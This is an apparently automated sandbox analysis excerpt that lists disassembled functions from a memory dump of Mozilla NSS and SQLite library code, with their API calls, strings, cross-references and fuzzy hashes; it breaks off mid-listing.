String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nsl
API String ID: 1003633598-2134530496
Opcode ID: eabe85e19e5f345d6edf1e060d0bfd1bce9b17891790d4f2d41c6e26f9d12804
Instruction ID: 9b6aed04220caef0401121b6f76f3f74f74768707bd782c430898f449e5d8120
Opcode Fuzzy Hash: eabe85e19e5f345d6edf1e060d0bfd1bce9b17891790d4f2d41c6e26f9d12804
Instruction Fuzzy Hash: B5210631A021149FDB009B54DE8DB9E77B5EB47319FA44035E509D7B12DF30D918CB9A

Function 6C66ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C66DE64), ref: 6C66ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66ED22

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PL_FreeArenaPool.NSS3(?), ref: 6C66ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C66ED6B
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C66ED38

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C66ED52
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C66ED83
PL_FreeArenaPool.NSS3(?), ref: 6C66ED95
PL_FinishArenaPool.NSS3(?), ref: 6C66ED9D

Part of subcall function 6C6864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C68127C,00000000,00000000,00000000), ref: 6C68650E

Strings

security, xrefs: 6C66ED06

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 4190d988db9cb021b2963619b13194e3c1865926b4ab5ab017fdedf6479ad858
Instruction ID: 56eb6cd63cbfa2118d350b8f7002db4c0494eb0083fe67f4112786ea2d6a1ec6
Opcode Fuzzy Hash: 4190d988db9cb021b2963619b13194e3c1865926b4ab5ab017fdedf6479ad858
Instruction Fuzzy Hash: 281127759022146BEA105667EC44BBF72B8BF4270DF000935E81562E41FB25A60C86FF

Function 6C730EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C612357), ref: 6C730EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C612357), ref: 6C730EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C730EE6

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C730EFA

Part of subcall function 6C61AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C61AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F2B

Strings

Aborting, xrefs: 6C730EB3
Assertion failure: %s, at %s:%d, xrefs: 6C730ED9, 6C730EE5, 6C730F06, 6C730F0B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 17febdd94b2e5e89bc2e6e4e30d07cc6dc3d70cebd9ea07444c88bc107688875
Instruction ID: f76d109661ba26248a2c20dbb1f135d969b8bd6484532fbdd40295aa701ba55f
Opcode Fuzzy Hash: 17febdd94b2e5e89bc2e6e4e30d07cc6dc3d70cebd9ea07444c88bc107688875
Instruction Fuzzy Hash: 4FF0AFF69002287BDA023B619E4EC9B3E2DDF8A265F044034FD0956602DA36E92497F2

Function 6C694DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C694DCB

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C694DE1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C694DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C694E59

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C75300C,00000000), ref: 6C694EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C694EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C694F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C69521A

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: ac47e1d29a94a56db8fa37f3e2acb26c6a3ea726fa7be54e526676ff60f10e59
Instruction ID: 62e5db0a0bbccdbdc9d0479eccafcd20a15ff37aae8bb56040443ee0d915a1f8
Opcode Fuzzy Hash: ac47e1d29a94a56db8fa37f3e2acb26c6a3ea726fa7be54e526676ff60f10e59
Instruction Fuzzy Hash: 23F1AE71E0120ACFDB04CF54D8407AEB7B2BF85318F254229D915AB781EB75E982CF98

Function 6C624FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C770148,?,6C636FEC), ref: 6C62502A
PR_NewLock.NSS3(00000001,00000000,6C770148,?,6C636FEC), ref: 6C625034
PL_NewHashTable.NSS3(00000000,6C67FE80,6C67FD30,6C6CC350,00000000,00000000,00000001,00000000,6C770148,?,6C636FEC), ref: 6C625055
PL_NewHashTable.NSS3(00000000,6C67FE80,6C67FD30,6C6CC350,00000000,00000000,?,00000001,00000000,6C770148,?,6C636FEC), ref: 6C62506D

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: a95d4524aa79a18123b63dd57faa9fc26ae095afb99a7ece2c3e5b7f8e5ff3f3
Instruction ID: 5f22197dfa382370b3411b81d0dc851dc31975a4bd64cc99b6bbc6f1a652c6ab
Opcode Fuzzy Hash: a95d4524aa79a18123b63dd57faa9fc26ae095afb99a7ece2c3e5b7f8e5ff3f3
Instruction Fuzzy Hash: DD31D4B1F072209BEB209A658C4CB5777B8AB1778EF314535EB0597644D3788804CFEA

Function 6C5C2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5C2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5C2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5C3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5C3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C3178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C3022, 6C5C3156, 6C5C3162, 6C5C318A, 6C5C3196, 6C5C31A2, 6C5C31AE, 6C5C31BA, 6C5C31C6
database corruption, xrefs: 6C5C316C
%s at line %d of [%.10s], xrefs: 6C5C3171

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: e29df04c10ccbded971ac01ea0ce69a5798b6efeb77f06e200c0f61c6438e545
Instruction ID: 2096ab9d8fea76be8cf5d19484368f6a62000e18e1ceffe635eb16fa21b6af40
Opcode Fuzzy Hash: e29df04c10ccbded971ac01ea0ce69a5798b6efeb77f06e200c0f61c6438e545
Instruction Fuzzy Hash: 80B18AB0E052199BCB08CFDDCC85AEEBBB1BB48304F14842DE849B7B45D774A945CBA1

Function 6C612D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C612D69

Strings

winTruncate1, xrefs: 6C612EBE
winSeekFile, xrefs: 6C612E9C
winTruncate2, xrefs: 6C612EF8
sl, xrefs: 6C612DD0
Psl, xrefs: 6C612E74, 6C612EC5, 6C612F32, 6C612F5C
winUnmapfile1, xrefs: 6C612F55
winUnmapfile2, xrefs: 6C612F7F
@sl, xrefs: 6C612E24

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __allrem
String ID: @sl$Psl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$sl
API String ID: 2933888876-3430797899
Opcode ID: d5c08dc0f78e398886bb210e16bc121ff6ec1f5a31c4a17c8b0dc0c0b495b250
Instruction ID: 799d79e744c3c74dcc5caa5a45a8f2d921f19165687e68a08c20265341365a52
Opcode Fuzzy Hash: d5c08dc0f78e398886bb210e16bc121ff6ec1f5a31c4a17c8b0dc0c0b495b250
Instruction Fuzzy Hash: 6061A371B052099FDB04CF68DC58AAA77B1FF4A315F208138E915DBB90EB31AD06CB95

Function 6C6169A0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C616A02
EnterCriticalSection.KERNEL32(?), ref: 6C616AA6
LeaveCriticalSection.KERNEL32(?), ref: 6C616AF9
sqlite3_free.NSS3(00000000), ref: 6C616B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6C616BA6

Strings

winDelete, xrefs: 6C616B71
`sl, xrefs: 6C616A53
Psl, xrefs: 6C616B1F
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C616B9F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: Psl$`sl$delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-343535174
Opcode ID: 81f957a6ad150c15b22368f24c04e8454dd6d1df74b69ef04675fadac3df1966
Instruction ID: 4cd7e27f7009393e3df267beac5dde78fa87e7b0e413827114e2c595d9b74b41
Opcode Fuzzy Hash: 81f957a6ad150c15b22368f24c04e8454dd6d1df74b69ef04675fadac3df1966
Instruction Fuzzy Hash: 09512635B052189FEB049B68DC58AFF3779EF47315B244138E516D7A80EB349901CBE6

Function 6C620F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C620F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C620F84

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C63F59B,6C74890C,?), ref: 6C620FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C620FC1

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C620FDB
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C620FEF
PL_FreeArenaPool.NSS3(?), ref: 6C621001
PL_FinishArenaPool.NSS3(?), ref: 6C621009

Strings

security, xrefs: 6C620F5C

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 15a0f29033f2ad13d82ef1977e4289342a29216bc94d6f643f45603dd3bdf1f3
Instruction ID: 3789d4186bd1c1e152a8e6d0783ab0f9f1c38c8a13310d6f4adefb1d9a79ccd3
Opcode Fuzzy Hash: 15a0f29033f2ad13d82ef1977e4289342a29216bc94d6f643f45603dd3bdf1f3
Instruction Fuzzy Hash: EC2134B1904208ABE7109F24DC44EAFB7B4EF85658F008428FC1897602FB31DA05CBEA

Function 6C732AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C732AE8
strdup.MOZGLUE(00000000), ref: 6C732AFA
PR_ExitMonitor.NSS3 ref: 6C732B0B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(LD_LIBRARY_PATH), ref: 6C732B1E
strdup.MOZGLUE(.;\lib), ref: 6C732B32
PR_ExitMonitor.NSS3 ref: 6C732B4A
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C732B59

Strings

.;\lib, xrefs: 6C732B29, 6C732B31
LD_LIBRARY_PATH, xrefs: 6C732B19

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$Exitstrdup$EnterErrorgetenv
String ID: .;\lib$LD_LIBRARY_PATH
API String ID: 2438426442-3838498337
Opcode ID: 3bdd132b53a0a716d19b716202a71c462796dab0d11647da8b5ae886b4f1317a
Instruction ID: 0c0aa661222372d0e1c04565e5d3e6ecda98e0a27e7528ec31926d1ed8f8e6fa
Opcode Fuzzy Hash: 3bdd132b53a0a716d19b716202a71c462796dab0d11647da8b5ae886b4f1317a
Instruction Fuzzy Hash: B201DBB5B0512167EE116F659D0AB963778BF0724EF180030ED0AD1A13FF21D928C6DB

Function 6C626DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C627D8F,6C627D8F,?,?), ref: 6C626DC8

Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C67FE08
Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C67FE1D
Part of subcall function 6C67FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C67FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C627D8F,?,?), ref: 6C626DD5

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FA0,00000000,?,?,?,?,6C627D8F,?,?), ref: 6C626DF7

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C626E35

Part of subcall function 6C67FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C67FE29
Part of subcall function 6C67FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C67FE3D
Part of subcall function 6C67FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C67FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C626E4C

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FE0,00000000), ref: 6C626E82

Part of subcall function 6C626AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C62B21D,00000000,00000000,6C62B219,?,6C626BFB,00000000,?,00000000,00000000,?,?,?,6C62B21D), ref: 6C626B01
Part of subcall function 6C626AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C626B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C626F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C626F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FE0,00000000), ref: 6C626F6B
PR_SetError.NSS3(FFFFE005,00000000,6C627D8F,?,?), ref: 6C626FE1

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 847e53029aa6f223a192700fcb51f437c80891cf1b2e5e5553ed1bae58ade909
Instruction ID: 9b91d842e497fe2fcadea8374da5945f9b0b30d6e0f146c383471dc8f42a02fe
Opcode Fuzzy Hash: 847e53029aa6f223a192700fcb51f437c80891cf1b2e5e5553ed1bae58ade909
Instruction Fuzzy Hash: 6B718F71D102469BEB10CF15CD40FAABBA5BF95308F154229EC18DBB11F774EA94CBA8

Function 6C660FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C661057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661085
PK11_GetAllTokens.NSS3 ref: 6C6610B1
free.MOZGLUE(?), ref: 6C661107
PR_SetError.NSS3(00000000,00000000), ref: 6C661172
free.MOZGLUE(?), ref: 6C661182
free.MOZGLUE(?), ref: 6C6611A6
